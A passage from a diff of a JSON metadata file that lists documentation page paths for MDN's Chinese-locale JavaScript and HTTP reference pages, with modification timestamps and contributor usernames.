"contributors": [ - "davywsr", - "slivenred", - "WayneCui" + "hellorayza", + "SageX", + "edward870505", + "NiLinli", + "iugo", + "ziyunfei", + "tiansh" ] }, - "Web/HTTP/Status/504": { - "modified": "2020-10-15T21:55:08.765Z", + "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { + "modified": "2019-04-06T03:30:46.772Z", "contributors": [ - "davywsr", - "slivenred", - "WayneCui" + "zhazhjie", + "yunl819", + "helloguangxue", + "AlexChao" ] }, - "Web/HTTP/Status/505": { - "modified": "2019-03-23T22:10:20.789Z", + "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { + "modified": "2020-10-15T21:28:32.902Z", "contributors": [ - "WayneCui" + "zeroxie", + "liuruiqi1993", + "Xiaoming666", + "rulanfenghua", + "PageYe", + "yenshen", + "Jinjiang", + "AlexChao" ] }, - "Web/HTTP/Status/506": { - "modified": "2020-01-19T03:41:58.311Z", + "Web/JavaScript/Reference/Global_Objects/Number/toLocaleString": { + "modified": "2020-10-15T21:28:46.243Z", "contributors": [ - "radarfyh" + "RoXoM", + "dongchaoge", + "Sivan", + "Hugh", + "anchengjian", + "shuding", + "AlexChao" ] }, - "Web/HTTP/Status/507": { - "modified": "2020-01-19T03:58:16.574Z", + "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { + "modified": "2019-09-09T23:08:23.767Z", "contributors": [ - "radarfyh" + "helloguangxue", + "AlexChao" ] }, - "Web/HTTP/Status/508": { - "modified": "2020-01-19T04:02:35.671Z", + "Web/JavaScript/Reference/Global_Objects/Number/toSource": { + "modified": "2019-04-06T03:53:43.075Z", "contributors": [ - "radarfyh" + "AlexChao" ] }, - "Web/HTTP/Status/510": { - "modified": "2020-01-19T04:08:53.633Z", + "Web/JavaScript/Reference/Global_Objects/Number/toString": { + "modified": "2019-07-09T06:38:38.264Z", "contributors": [ - "radarfyh" + "LeoSpark", + "ywjco", + "xgqfrms-GitHub", + "righttoe", + "YoungChen", + "yenshen", + "AlexChao", + "teoli", + "ziyunfei" ] }, - "Web/HTTP/Status/511": { - "modified": "2019-03-23T22:10:19.671Z", + "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { + "modified": "2019-04-06T04:03:18.487Z", "contributors": [ - "WayneCui" + "weiqinl", + "ziyunfei", + "yenshen", + "AlexChao" ] }, - "Web/HTTP/X-Frame-Options": { - "modified": "2020-10-15T21:31:36.643Z", + "Web/JavaScript/Reference/Global_Objects/Object": { + "modified": "2020-10-15T21:07:58.316Z", "contributors": [ + "VictoriaChou", + "oldguan", + "oxyg3n", + "sunshine8752", + "yzh196", + "CelestialPhineas", "RainSlide", - "Soyaine", - "Fiag" + "zhangchen", + "lee-joe", + "xgqfrms-GitHub", + "kangaoxiaoshi", + "Hugh", + "tomoat", + "hxlhxl", + "Ende93", + "scscms", + "charlie", + "ziyunfei", + "paddingme", + "AlexChao", + "teoli", + "iwo" ] }, - "Web/HTTP/data_URIs": { - "modified": "2020-10-15T21:06:54.948Z", + "Web/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf": { + "modified": "2020-10-15T21:07:55.199Z", "contributors": [ - "leegent", - "2585479524", - "BobGreen", - "bramblex", - "tlos142857", - "Ende93", + "futurefeeling", + "ywjco", + "zhangchen", "xgqfrms-GitHub", - "little-tomorrow", + "teoli", + "AlexChao", + "paddingme", "ziyunfei" ] }, - "Web/HTTP/策略特征": { - "modified": "2020-10-15T22:13:12.541Z", + "Web/JavaScript/Reference/Global_Objects/Object/Object": { + "modified": "2020-10-15T22:29:02.706Z", "contributors": [ - "xiaomaokeke", - "chenqingyue", - "RainSlide", - "joechan" + "jiyiwohanxing" ] }, - "Web/HTTP/策略特征/Using_Feature_Policy": { - "modified": "2019-05-06T05:13:36.251Z", + "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { + "modified": "2019-03-23T23:05:45.020Z", "contributors": [ - "roostinghawk" + "ziyunfei", + "LinusYu" ] }, - "Web/HTTP/跨域资源共享(CORS)_": { - "modified": "2020-10-15T22:28:24.198Z", + "Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__": { + "modified": "2019-03-23T23:05:56.544Z", "contributors": [ - "huangjihua" + "ziyunfei", + "LinusYu" ] }, - "Web/Houdini": { - "modified": "2020-11-21T05:08:58.458Z", + "Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__": { + "modified": "2019-03-23T23:14:35.158Z", "contributors": [ - "xusy", - "bingoYB", - "cutefcc", - "sunfeel", - "xgqfrms" + "MurphyL", + "ziyunfei", + "lutaoact" ] }, - "Web/JavaScript": { - "modified": "2020-09-21T00:46:20.876Z", + "Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__": { + "modified": "2019-03-23T22:21:56.129Z", "contributors": [ - "mkckr0", - "sengang", - "SeaAster", - "liunanchenFYJJ", - "SphinxKnight", - "iworkerweb", - "lifankohome", - "huhufufu", - "marslord", - "leo_yang", - "zhao_nanli", - "limingqian", - "xunyegege", - "price", - "konantian", - "xclhs", - "qazsweet", - "Frederick-S", - "fenyu", - "ZengYu", - "toyflivver", - "yonbo", - "ThomasWhyne", - "pluwen", - "loveagri", - "edwards1101", - "ngtmuzi", - "wemamawe", - "danmin25", - "ghb609840612", - "zxsunrise", - "wangwenhao", - "WinnerNew", - "yokiyang", - "XuQuan-nikkkki", - "Jonham", - "ElliottZheng", - "towerman1990", - "qdlaoyao", - "yong_a", - "sqchenxiyuan", - "ZhangQiRong", - "lixw1994", - "qyjs", - "zhangchen", - "baooab", - "Mr-Li-admin", - "shaodahong", - "marsoln", - "Cnmahj", - "lemonsWen", - "lppking", - "viko16", - "leafdog", - "Ende93", - "VdoG", - "xiaokk06", - "xgqfrms", - "Rusion-Wayne", - "xiaoyusilen", - "Moressette", - "simongfxu", - "eforegist", - "nperhb", - "wth", - "WentaoMa", - "Roland_Reed", - "leonine", - "stdupp", - "lunix01", - "sammuelyee", - "MMOnster", - "redman9", - "wangsai", - "flyingdew", - "Yaty", - "yenshen", - "apollo", - "azzndmy", - "yiding_he", - "Brainor", - "ReyCG_sub", - "teoli", - "7anshuai", - "xcffl", - "ziyunfei", - "Asvel", - "sonzero@163.com", - "xiaoxiong", - "iwo", - "lins05" + "winjeysong", + "lisniuse" ] }, - "Web/JavaScript/A_re-introduction_to_JavaScript": { - "modified": "2020-12-11T11:33:32.340Z", + "Web/JavaScript/Reference/Global_Objects/Object/assign": { + "modified": "2020-10-21T06:50:11.039Z", "contributors": [ - "柳涤尘", + "srq18211", + "xgqfrms", + "sjnho", "SphinxKnight", - "BruceHong666", - "koo4", - "hechenxi", - "hufeicom", - "eMUQI", - "houfengqaz", - "licia-tia", - "necokeine", - "Pro-A", - "TianLangStudio", - "Frederick-S", - "123Jonne", - "fenglui", - "RainSlide", - "zhaoke2018", - "coldfog", - "edenpan", - "kanaza", - "LeoB-O", - "panle666", - "SAM.L", - "YRFT", - "Park-ma", - "LuoYun", - "mysmlz", - "OldisNewXrf", - "Jiasm", - "HoldDie", - "byoungd", - "TheLostXianXian", - "RockJerffreason", - "JayceZhang9602", - "funnyChinese", - "liubiantao", - "suxiesumiao", - "Jack-Q", - "w-halo", - "marsoln", - "Poisonloc", - "ngtmuzi", - "pramper", - "wangbin2015", + "YF05105814", + "zac_ma", + "shery", + "shutong", + "HJava", + "Jiang-Xuan", + "zhangchen", + "xgqfrms-GitHub", + "micheal-death", + "kiyonlin", + "Wayme", + "glgjssy", "Ende93", - "machao", - "Tienyz", - "susutou", - "xlyimi", + "Y____C", + "zhangking", + "calmcarry", + "iamchenxin", "ziyunfei", - "arniu", - "Breezewish", - "ticketock", - "teoli", - "xuxun", - "Joe_Zhao", - "xcffl", - "ethertank", - "Mgjbot", - "Physacco", - "Carrie zhxj", - "Laser" + "rebornix" ] }, - "Web/JavaScript/About_JavaScript": { - "modified": "2020-03-12T19:36:16.731Z", + "Web/JavaScript/Reference/Global_Objects/Object/constructor": { + "modified": "2020-10-15T21:22:02.873Z", "contributors": [ - "Poisonloc", - "ziyunfei", - "Breezewish", - "gelin", + "Lan1967", + "zhangchen", + "icyzeroice", + "luoxzhg", + "Hugh", "teoli", - "Meteormatt", - "ethertank", - "undercooled" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Closures": { - "modified": "2020-10-14T01:19:42.853Z", + "Web/JavaScript/Reference/Global_Objects/Object/create": { + "modified": "2020-11-17T22:40:03.747Z", "contributors": [ - "Neo42", - "sunan112", - "xuqian", - "xvusrmqj", - "Lazy_Bone", - "mkckr0", - "fish-inu", - "Nonym", - "kingsley2036", - "watsonhaw", - "LuoYun", - "maoyumaoxun", - "HongjinLI", - "dreampasssser", - "foshhh", - "Akiq2016", - "szengtal", - "zhang-hongwei", - "helloli", - "xgqfrms-GitHub", - "ziyunfei", "zhuangyin", - "springfish", - "ZZES_REN", - "righttoe", - "hiyoushu", - "KngZhi", - "eeeeeeeason", - "HeSijie", - "calidion", - "mr.code", - "lihx_hit", - "_da", - "xgqfrms", - "wth", - "Jack-Q", - "distums", - "Poisonloc", - "mysticzap", - "vino24", - "putdownTheCode", - "yang.rc", - "maybe", - "fskuok", - "devyps", - "Breezewish", - "phoenix.huang", - "kangkai92", + "kaiyuan-c", + "yukyao", + "Aster.", + "symant233", + "zhanghao-zhoushan", + "Ahhaha233", + "name-dingding", + "Lan1967", + "wangzherlf", + "LuckyJoker", + "zhangchen", + "evan_Yuanzh", + "luoxzhg", + "ywjco", + "cuji", + "Tuoe", + "foreverwang", + "HuazzTsai", + "Cribug8080", + "Ende93", + "xgqfrms-GitHub", + "runighcat", + "ouonet", + "Hopcraft", + "luojia", + "AlexChao", "teoli", - "hui314", - "rogersuen" + "ziyunfei", + "Chajn", + "georgewing", + "nightire", + "bingjie2680", + "fscholz", + "raymoth", + "Mgjbot", + "Kaixin110", + "Cnmahj", + "Mhoudg", + "Andyyard", + "Carrie zhxj", + "Mickeyboy", + "Verruckt", + "Taken", + "Ahong" ] }, - "Web/JavaScript/Data_structures": { - "modified": "2020-06-05T03:23:50.915Z", + "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { + "modified": "2020-12-13T23:47:19.929Z", "contributors": [ - "zangbianxuegu", - "wallena3", - "Logan-Li", - "xuanji", - "huxinsen", - "molee1905", - "WangLeto", - "wemamawe", - "ywjco", - "ShirleyM", - "wblovezqy", - "eyasliu", - "issliu", - "hangyangws", - "Musan", - "Ende93", - "eric183", - "Jacobwang", - "knightf", - "JsonMe", - "asdzxcqwe", - "holsety", - "Breezewish", - "ElsaHuang", - "7anshuai", + "YawnS0", + "zhangchen", + "xgqfrms-GitHub", + "microTT", + "ziyunfei", + "AlexChao", "teoli", - "keechi", - "polucy", - "_WhiteCusp" + "OoOoOoOo", + "leeli" ] }, - "Web/JavaScript/Enumerability_and_ownership_of_properties": { - "modified": "2020-08-31T07:44:40.404Z", + "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { + "modified": "2020-12-03T03:27:16.867Z", "contributors": [ - "unbyte", + "daniel_tsai", + "liushuaimaya", + "symant233", + "lijinwenhg", "RainSlide", + "sunw", + "mingzhang6", + "liuliuLiu161", + "walwimp", "leavesster", - "Ende93", - "walfud", - "funroller", - "monjer", - "Gaohaoyang", - "xiefei89", - "Jack-Q", + "onedaywen", + "junyuli1992", + "Xmader", + "zhanghy7", + "Josnk", + "lmislm", + "weidapao", + "CaptainInPHW", + "zotille", + "LeoSpark", + "i850", + "Mrdapeng", + "yuyongjun123", + "buptsky", + "ywjco", + "Wutang", + "Black-Hole", + "zhangchen", + "xiiiAtCn", + "C_Kite", + "MrITzhongzi", + "usernameisMan", + "zilong", "ziyunfei", - "yenshen" - ] - }, - "Web/JavaScript/Equality_comparisons_and_sameness": { - "modified": "2020-10-17T07:01:49.622Z", - "contributors": [ - "jaredhan418", - "zjffun", - "RenzHoly", - "gongzhibin", - "xiayao", - "esphas", - "dy21335", - "Charlotte007", - "fun3c", + "dttx123", + "win5do", "Ende93", + "righttoe", + "hicrow", "xgqfrms-GitHub", - "vincenting", - "Roland_Reed", - "Jack-Q", - "ngtmuzi", - "i-PeterZhang", - "xufeng", - "ziyunfei", - "fskuok", - "tiansh", - "faceach", - "ilia" + "maxmeng", + "whwei", + "xuemengfei", + "riversYeHaha", + "harttle", + "coolguy", + "KingMario", + "helinjiang", + "Lenville", + "teoli", + "TimothyZhang", + "AlexChao", + "aaron4512", + "jiraiya", + "yanhaijing", + "StuPig", + "OoOoOoOo" ] }, - "Web/JavaScript/EventLoop": { - "modified": "2020-08-12T23:49:07.122Z", + "Web/JavaScript/Reference/Global_Objects/Object/entries": { + "modified": "2020-10-15T21:47:29.698Z", "contributors": [ - "JobbyM", - "johnao", - "penglianglee", - "molee1905", - "sundi78634", - "xgl", - "SterileSummer", - "esphas", - "daxiazilong", + "symant233", + "versionlin7", "zhangchen", - "Thoxvi", - "zhuangyin", - "LeoSpark", - "mozhs", + "spiritree", "xgqfrms-GitHub", - "LiXin", - "xycd", - "hxyoo1990", - "guoqiang", - "fengma", - "Ende93", - "xiaojichao", - "liyongleihf2006", - "slayerxj", - "timwangdev", - "distums", - "xufeng", - "ziyunfei", - "jcouyang", - "shinv", - "lcxfs1991", - "HectorGuo", - "Fantasy_shao" + "OshotOkill" ] }, - "Web/JavaScript/Getting_Started": { - "modified": "2019-03-23T23:35:23.323Z", + "Web/JavaScript/Reference/Global_Objects/Object/freeze": { + "modified": "2020-10-15T21:04:51.609Z", "contributors": [ - "xCss", - "KMethod", - "lifeng", - "maslak", - "Eridanus_Sora", - "ywang1724", - "reygreen1", + "Frederick-S", + "lejsure", + "mingttong", + "zhangchen", + "ywjco", + "sqliang", + "zhouyuanhao", + "Ende93", + "AlexChao", "teoli", - "Lyper", - "Simontechwriter" + "ziyunfei", + "undercooled" ] }, - "Web/JavaScript/Guide": { - "modified": "2020-04-10T23:43:33.112Z", + "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { + "modified": "2020-10-15T22:09:07.388Z", "contributors": [ - "lyno", - "RainSlide", - "Soy", - "Wenfang_Du", - "mumu-one", - "xuziang111", - "miffy24", - "shannonZhong", - "bowen-wu", - "Pomelo1213", - "Jamamm", - "xiaozhi1", - "bibi941", - "zhumengyua", - "XINHE", - "frankfang1990", "zhangchen", - "santong", - "Grizzly-Eric", - "WavinFlag", - "Moressette", - "nperhb", - "yenshen", - "ngtmuzi", - "taccelerate", - "456wyc", - "lunix01", - "kacoro", - "ssbunny", - "wsxyeah", - "teoli", - "ziyunfei", - "rogersuen" + "qiudongwei", + "iugo", + "xiaopingzhang0207", + "kohai", + "Bayes" ] }, - "Web/JavaScript/Guide/About": { - "modified": "2019-03-23T23:36:14.591Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { + "modified": "2020-10-15T21:04:53.010Z", "contributors": [ - "wbamberg", - "Breezewish", - "ReyCG_sub", - "ReyCG", + "Damoness", + "274659281", + "RoXoM", + "liuyangjoker", + "usernameisMan", + "Ende93", "teoli", - "LieGroup", - "rogersuen" + "AlexChao", + "ArthasTree", + "ziyunfei", + "nightire" ] }, - "Web/JavaScript/Guide/Control_flow_and_error_handling": { - "modified": "2020-03-12T19:37:58.561Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": { + "modified": "2020-10-15T21:47:29.156Z", "contributors": [ - "ChenZhuoSteve", - "xclhs", - "fanqw", - "zhangchen", - "Hitomichan", - "sqchenxiyuan", - "123456zzz", - "zsxeee", - "xgqfrms-GitHub", - "cdz", - "lwxyfer", - "hpcherry", - "funnyChinese", - "ticketock", - "anbang", - "xdsnet", - "codetaro", - "think3t", - "Moressette", - "eforegist", - "boredivan", - "kavon", - "victor0801x", - "eating_miao", - "tangolivesky", - "zouyonghao", - "GodEngine", - "binhex", - "lushunming", - "MurphyL", - "zhaozhb", - "DeepDarkSpirit", - "kictpov", - "wenxiangmao", - "gabrielwu", - "tao0923", - "wolfFN", - "wangxb", - "ziyunfei", - "tonypupp", - "Shimo", - "teoli" + "Aaron-Bird", + "RoXoM", + "kdex", + "Hushabyme", + "delkaka", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Details_of_the_Object_Model": { - "modified": "2020-07-21T04:10:47.398Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": { + "modified": "2020-10-15T21:04:50.666Z", "contributors": [ - "suvyme", - "johnao", - "tzmf", - "zjffun", - "wbamberg", - "AlphaGo88", - "ThomasWhyne", - "yokiyang", + "woyaohaohaoxuexi", + "ywjco", "zhangchen", - "MiRinZhang", + "C_Kite", + "kdex", "Ende93", - "michelia", - "ywang1724", - "ReyCG", + "RandyOu", + "ChrisCindy", + "helinjiang", "teoli", - "key", + "AlexChao", "ziyunfei", - "zsytssk", - "rogersuen" + "Arenwisdom" ] }, - "Web/JavaScript/Guide/Expressions_and_Operators": { - "modified": "2020-12-12T02:19:33.855Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": { + "modified": "2020-10-15T21:28:24.757Z", "contributors": [ - "柳涤尘", - "aq1121", - "Ende93", - "bifan", - "ZhQb", - "maoyumaoxun", - "LuoYun", - "yuansuye", - "syhxczy", "zhangchen", - "bozh", - "lociver", - "vividlai", - "vincenting", - "choury", - "wenmin92", - "_da", - "zhaoge26", - "chenpeiguang", - "codetaro", - "Gohikin", - "sgr", - "bigzhao", - "imDemo", - "klutzCoder", - "cinside", - "chuanyidai", - "eddy8", - "kavon", - "victor0801x", - "ngtmuzi", - "xoyoz", - "RachelChen", - "zenzzy", - "wumouse", - "Toweave", - "wenxiangmao", - "mpchina", - "z_p_p", - "997404959", - "Frantic1048", - "teoli", - "LieGroup", - "sevens", - "john_li", - "carl_zhu", + "limichange", + "AlexChao", "ziyunfei" ] }, - "Web/JavaScript/Guide/Functions": { - "modified": "2020-09-16T04:44:03.700Z", + "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { + "modified": "2020-11-12T05:23:35.945Z", "contributors": [ - "springwq", - "johnao", - "YooHoeh", - "narutojian", - "chrisdavidmills", - "yulongjing", - "white-more", - "Jzhuonan", - "vainl", - "putongxiaozhu", - "yuansuye", - "Phoenix13", - "SphinxKnight", - "NotDead-NotPerish", + "haichao0817", + "Harry-Zhao", + "RainSlide", + "liuzhengdong", + "ShirleyM", + "xgqfrms-GitHub", + "Ende93", + "ziyunfei", + "yyj" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/is": { + "modified": "2020-10-15T21:22:02.169Z", + "contributors": [ + "jaredhan418", + "Mirefire", + "ngulee", + "RainSlide", + "42", "zhangchen", - "ian.zhang", + "shaojingchao", "xgqfrms-GitHub", - "wenmin92", - "codetaro", - "appie963", - "caicaicai", - "Darkoe", - "victor0801x", - "helloguangxue", - "tangolivesky", - "wumouse", "Ende93", - "SamuraiMe", - "duckisaac", "ziyunfei", - "Cjavaer", - "snowsolf", - "lvjs", - "smartkid", + "snandy", "teoli", - "sunorry", - "iwo" + "zhangyaochun1987" ] }, - "Web/JavaScript/Guide/Grammar_and_types": { - "modified": "2020-10-01T04:36:59.031Z", + "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { + "modified": "2019-03-24T12:06:06.825Z", "contributors": [ - "dva2019ksy", - "junhaoim", - "SirnoChan", - "Meow-z", - "catlair", - "WoodCube", - "lorry0508", - "ronesam", - "inlym", - "AlphaGo88", - "strandjun", - "hgbj0001", - "vainl", - "goodqd", - "yuansuye", - "zxsunrise", - "hiyoushu", - "zhumengyua", - "runyul", - "shelleyIstar", - "superkuang", - "BlasphemerAzog", - "Timer", - "tjyas", + "fanerge", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { + "modified": "2020-10-15T21:04:51.362Z", + "contributors": [ + "XiongAmao", + "zhangchen", + "xgqfrms-GitHub", + "micheal-death", + "WangXiao", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei", + "undercooled" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { + "modified": "2019-07-25T07:55:33.320Z", + "contributors": [ + "xhlsrj", "xgqfrms-GitHub", - "zxsky1", - "cdz", - "Taisetsuz", - "Arthur.CHANG", - "Seattle", - "faremax", - "fengma", - "xdsnet", - "codetaro", - "VdoG", - "tylerxue", "Ende93", - "zurl", - "Moressette", - "dsb123dsb", - "kangkai0124", - "koalaxiaot", - "eforegist", - "GoForWill", - "m4jing", - "gknpezgssb", - "evolighting", - "TruthBean", - "kavon", - "victor0801x", - "PoppinL", - "louwuxin", - "xioZquan", - "zhaozhb", - "zouyonghao", - "ziyunfei", - "amIurs", - "gabrielwu", - "kacoro", - "tiansh", - "ReyCG_sub", + "helloguangxue", "teoli", - "LieGroup", - "evantre", - "iwo" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Indexed_collections": { - "modified": "2020-06-29T06:11:51.519Z", + "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { + "modified": "2020-10-15T21:04:48.021Z", "contributors": [ - "MaZheng", - "amzrk2", - "keys", - "ruoxianbaby", - "aimishan", - "BUnnY25", - "LeoSpark", - "hpcherry", - "niccoming", - "xdsnet", - "kiyonlin", - "codetaro", - "caoruiy", - "suxiesumiao", - "victor0801x", - "zhulinpinyu", - "456wyc", - "gaigeshen", - "VincentLiu0314" + "yuyeqianxun", + "zhangchen", + "xgqfrms-GitHub", + "Ende93", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei", + "undercooled" ] }, - "Web/JavaScript/Guide/Introduction": { - "modified": "2020-07-30T09:11:33.207Z", + "Web/JavaScript/Reference/Global_Objects/Object/keys": { + "modified": "2020-10-15T21:06:49.993Z", "contributors": [ - "Kirin", - "RainSlide", - "agulleung", - "inlym", - "daxiazilong", - "a358003542", - "ElliottZheng", - "runyul", - "123456zzz", - "wushengde", + "fbfatboy", + "Cuixote", + "liuzhengdong", + "SphinxKnight", + "Vike50", "zhuangyin", - "lsbrucelincoln", - "seaHeater", - "_da", - "xdsnet", - "VdoG", - "xiaoyusilen", - "eforegist", - "Mosan", - "Joilence", - "LeoMobileDeveloper", - "m4jing", - "dunizb", - "solome", - "zhanglei1995", - "zhe13", - "Rambone", + "dc165015", + "zhangchen", + "ywjco", + "xgqfrms-GitHub", "Ende93", - "majunbao", - "MurphyL", - "zouyonghao", - "zhengshi", - "fissh", - "pixiu", - "ssbunny", - "PhenixGhost", - "MrH2S", - "HopeCoder", + "Lynn0108", + "kdex", + "micheal-death", + "zaxlct", + "WhiteMind", + "qdxt", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { + "modified": "2020-10-15T21:04:47.741Z", + "contributors": [ + "Astroleander", + "zhangchen", + "recursion", + "AlexChao", + "teoli", "ziyunfei", - "hackerZhang" + "undercooled" ] }, - "Web/JavaScript/Guide/Iterators_and_Generators": { - "modified": "2020-04-19T03:41:05.778Z", + "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { + "modified": "2020-10-15T21:21:12.490Z", "contributors": [ - "Russell", - "johnao", - "NieLamu", - "SageX", - "Yayure", - "ErChuan", "RainSlide", - "jupiterben", - "xgqfrms", - "Wuqichao", - "BingerWeb", - "yueshuiniao", - "zhangjiawei0", "zhangchen", - "azoth1991", - "ezirmusitua", + "TiaossuP", + "helloguangxue", + "Gresic", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/proto": { + "modified": "2020-10-15T21:20:42.886Z", + "contributors": [ + "milyyy", + "Ende93", + "rjdangcc", + "HIKALU-Z", + "Btista", + "trotyl", + "wolyshaw", "xgqfrms-GitHub", - "DarwinniwraD", - "kiyonlin", + "eeeeeeeason", "Howard.Chen", - "ianfung1998", - "liadbiz", - "snandy", + "Wayme", + "lisniuse", + "redcool007", + "Leslie2014", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/seal": { + "modified": "2020-10-15T21:04:46.777Z", + "contributors": [ + "1997Liusheng", + "acejerry", + "zhangchen", + "cwwjie", + "toBeTheLight", + "zixiangTang", + "AlexChao", "teoli", "ziyunfei", - "AriesDevil", - "Joyce" + "monthev" ] }, - "Web/JavaScript/Guide/JavaScript_Overview": { - "modified": "2019-03-23T23:36:14.828Z", + "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": { + "modified": "2020-10-15T21:23:41.066Z", "contributors": [ - "MrMario", - "ReyCG_sub", + "zhuguibiao", + "fengma", + "xgqfrms-GitHub", + "kameii", + "inJs", + "xuzhijun", + "helm", "teoli", - "LieGroup", - "rogersuen" + "ziyunfei" ] }, - "Web/JavaScript/Guide/Keyed_collections": { - "modified": "2020-03-12T19:41:31.376Z", + "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": { + "modified": "2020-10-15T21:28:39.035Z", "contributors": [ - "haoye999", - "Jiasm", + "ShirleyM", + "Humyang", "zhangchen", - "jiahui", - "indux", - "supermanmsc", - "fengzhongye" + "AlexChao" ] }, - "Web/JavaScript/Guide/Loops_and_iteration": { - "modified": "2020-03-12T19:42:07.957Z", + "Web/JavaScript/Reference/Global_Objects/Object/toSource": { + "modified": "2020-10-15T21:21:01.572Z", "contributors": [ - "koor", - "narutojian", - "RainSlide", - "Wuqichao", - "SphinxKnight", - "zero_zero_zero", - "zhuangyin", - "Zheng7426", - "Bob_young", - "xiaowei.yang", - "johncido", + "qiu_han", + "zhangchen", "xgqfrms-GitHub", - "xdsnet", - "codetaro", - "suxiesumiao", - "AcJoker", - "kavon", - "lushunming", - "MurphyL", - "wumouse", - "intuitionfly" + "keller0", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Meta_programming": { - "modified": "2020-10-06T11:58:28.618Z", + "Web/JavaScript/Reference/Global_Objects/Object/toString": { + "modified": "2020-10-15T21:22:00.834Z", "contributors": [ - "SeekerGAO", - "suvyme", "RainSlide", - "OStoneO", - "rikochyou", + "jbbjs", + "johnlin0207", "zhangchen", - "123456zzz", - "pamikel", "xgqfrms-GitHub", - "hpcherry", - "zyMacro", - "cughudson_1", - "acekingke", - "binhex", - "FredWe" + "wizardforcel", + "Hugh", + "sabrinaluo", + "AlexChao", + "ziyunfei", + "ZhouMengkang", + "teoli" ] }, - "Web/JavaScript/Guide/Modules": { - "modified": "2020-10-15T22:19:12.670Z", + "Web/JavaScript/Reference/Global_Objects/Object/valueOf": { + "modified": "2020-10-15T21:19:19.149Z", "contributors": [ - "ran", - "PPFei5Zhou", - "bkuke", - "StorytellerF", - "Yayure", - "narutojian", - "RainSlide", - "hotbaby" + "microJ", + "ywjco", + "zhangchen", + "zilong-thu", + "jimwmg", + "Ende93", + "helloguangxue", + "paddingme", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Numbers_and_dates": { - "modified": "2020-12-12T05:50:13.576Z", + "Web/JavaScript/Reference/Global_Objects/Object/values": { + "modified": "2020-10-15T21:42:31.053Z", "contributors": [ - "柳涤尘", - "antield", - "symant233", - "迷子碳", - "qazsweet", - "canyi1942", - "fenyu", - "adasqg", - "zms1995", - "trionfo1993", - "ShaderWind", - "vividlai", - "yonglezhou", - "DaiZhiTao", - "jitingsun", - "niccoming", - "xiaokk06", - "sgr", - "suxiesumiao", - "victor0801x", - "zhulinpinyu", - "williamchu123", - "ShiJianwen", - "zhe13", - "Toweave", - "Serifx", - "456wyc", - "wenxiangmao" + "Bayes", + "RoXoM", + "ywjco", + "zhangchen", + "spiritree", + "percy507", + "maicss", + "xgqfrms-GitHub", + "Hushabyme", + "webery" ] }, - "Web/JavaScript/Guide/Regular_Expressions": { - "modified": "2020-11-07T12:19:15.360Z", + "Web/JavaScript/Reference/Global_Objects/Promise": { + "modified": "2020-11-09T05:18:40.533Z", "contributors": [ - "hensonxu", - "imbriansun", - "Alibuibui", - "srq18211", - "symant233", - "MikeLeon23", - "antield", - "zytjs", - "jingkaimori", - "aliasliao", - "Clara-hy", - "yasen-wolf", - "cody343960591", - "PoppinL", - "cy234", - "RainSlide", - "pzjzeason", - "millionssss", - "iamwwc", - "Yayure", - "Checkson", - "crow-n", - "yadex", - "OlingCat", - "Fungzhe", - "ts0307", - "jianglinghao", - "SphinxKnight", - "AlexStacker", - "zhuangyin", - "Ahhaha233", - "yinsang", - "fengma", - "chenym1992", - "ataotao", - "lixingdecai", - "bmxklYzj", - "Frantic1048", - "hysunny", + "13126767772", + "Neo42", + "NickH", + "jackyKin", + "SandBoat", + "xgqfrms", + "woniuxingdong", + "ourai", + "w1687021088", + "xianghui-ma", + "42", + "SterileSummer", + "ZhechenLi", + "kyriejoshua", + "DHclly", + "Jiang-Xuan", + "filosfino", + "dandanbu3", + "suwu150", + "YISHI", + "Debugger-D", + "winjeysong", + "sjz2259696", + "NoroHime", + "SunApriloy", + "xutao", + "_da", + "wYhooo", + "tangHanSan", + "ThaddeusJiang", + "lindaxiao-hust", "xgqfrms-GitHub", - "Ckc", - "Jeff-Kook", - "ljy", - "maoxiaoke", - "falltodis", - "codetaro", - "simongfxu", - "fanyj1994", - "huaxiabuluo", - "lvhao96", - "luobotang", - "yisibl", - "ngtmuzi", - "chen_wang", + "HenryYong", "Ende93", - "sunshineMaria", - "snowsolf", - "sleep", - "Shimo", - "Guanjinke", - "teoli", - "sablib", - "thesadboy", - "devqin", - "jpuncle", - "xiaoxiong", - "ziyunfei" + "liujun121533", + "pot-code", + "lihx_hit", + "sensui7", + "udoless", + "dingxu", + "AnnAngela", + "excosy", + "billcz", + "Yidada", + "hipop", + "dear-lizhihua", + "xuanxiao2013", + "fskuok", + "mountainmoon", + 